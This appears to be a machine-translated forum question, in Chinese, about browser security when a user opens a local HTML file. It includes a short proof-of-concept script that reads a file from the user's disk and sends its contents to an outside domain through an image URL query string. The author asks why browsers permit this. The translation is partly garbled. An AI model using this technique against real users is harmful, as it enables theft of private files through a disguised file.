让我们谈谈安全性。在我看来,理论上,如果用户用它打开 html 文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:
信息.txt:
my info
索引.html:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
一些浏览器(例如firefox)允许您从file://
through获取文件XmlHttpRequest
,所以如果我猜到文件的路径,那么我可以通过 ajax 获取它的内容。然后我可以使用查询字符串中的参数动态地添加img
标签并src
引导到我的域。而浏览器则乖乖地发出请求GET ?data=my%20info%0A domain.com
。在服务器端,我可以解析查询字符串并获取数据。
我可以这样做吗?如果他打开我的 html 文件,我可以从他的计算机上获取用户的数据吗?所以我可以说:“嘿,朋友,看看这个文件!” (有 2 个限制:用户应该使用 firefox 或其他具有类似配置的东西,并且由于访问权限,我无法获取用户无法访问的文件)。
更新:
如果可能,那为什么可能呢?他们为什么允许你做这样的事情。为什么没有确认对话框之类的。
更新2:
如果有人对此问题进行评论,那就太好了。提前致谢!